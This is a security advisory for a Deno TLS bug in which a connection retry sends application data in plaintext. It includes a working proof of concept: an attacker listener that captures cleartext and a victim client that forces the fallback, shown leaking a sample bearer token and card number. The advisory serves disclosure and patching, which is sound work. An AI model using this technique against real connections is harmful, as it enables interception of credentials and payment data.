Skip to content

GHSA-chqv-56wv-7564 CVE-2026-44726

Deno's TLS retry copies stale upgrade hook, risking plaintext traffic

Critical crates.io
Severity
7.4 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.23%
Chance of exploitation in the next 30 days. Higher than 14.38% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-319 Cleartext Transmission of Sensitive Information
Fix
2.7.8
Upgrade deno to this version or later

Description

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)

import net from "node:net";

const server = net.createServer((socket) => {
  console.log("[attacker] client connected from", socket.remoteAddress);
  socket.on("data", (chunk) => {
    // If TLS were working, this would be an opaque ClientHello.
    // If the bug fires, we see the application payload in cleartext.
    console.log("[attacker] received", chunk.length, "bytes:");
    console.log(chunk.toString("utf8"));
  });
});

server.listen(4444, "127.0.0.1", () => {
  console.log("[attacker] listening on 127.0.0.1:4444");
});

victim.mjs (a normal-looking TLS client)

import tls from "node:tls";

const socket = tls.connect({
  host: "api.example.invalid",
  port: 4444,
  autoSelectFamily: true, // Node-compat default

  // First address is a black hole (nothing on [::1]:4444),
  // so autoSelectFamily falls back to the second address.
  // In a real attack, the on-path attacker arranges this via
  // routing, DNS, or by dropping the first SYN.
  lookup: (_host, _opts, cb) => {
    cb(null, [
      { address: "::1",       family: 6 }, // fails -> retry
      { address: "127.0.0.1", family: 4 }, // attacker
    ]);
  },

  rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",         (e) => console.log("[victim] error:", e.message));

In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...

The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.

Affected versions

crates.io

PackageVulnerableFixed in
deno
>= 2.0.0, < 2.7.8
2.7.8

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

deno crates.io → 2.7.8

cargo
cargo update -p deno --precise 2.7.8

Severity breakdown

CVSS 3.1 7.4

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-319: Cleartext Transmission of Sensitive Information

The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

How to prevent it
  • Architecture and Design: Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.
  • Implementation: When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.
  • Implementation: When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
  • Operation: Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-x2qc-cmh9-f4hf
Deno: Denial of service via non-ASCII bytes in WebSocket response headers
Medium Also affects deno
GHSA-8xpq-cjcf-3wh9
Deno: Permission Bypass via Unicode Normalization Mismatch on macOS (APFS)
High Also affects deno
GHSA-968w-xfqw-vp9q
Deno: BYONM module resolution allows `package.json` main path traversal to bypass `--allow-read` restrictions
Medium Also affects deno
GHSA-v8fw-85r8-5m23
Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks
Medium Also affects deno
GHSA-9xg4-qhm4-g43w
Deno: Miller-Rabin Primality Test Allows Zero Rounds
High Also affects deno
GHSA-7xh3-mhg9-jcw8
Deno: Command Injection via spawnSync & spawn on Windows
High Also affects deno
GHSA-4c8g-jvcx-v4hv
Deno: process.loadEnvFile() bypasses env permission checks and mutates process.env with only read access
Medium Also affects deno
GHSA-83pc-3rw9-qpwj
Deno: WebSocket API sandbox bypass via missing post-DNS check
Medium Also affects deno
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor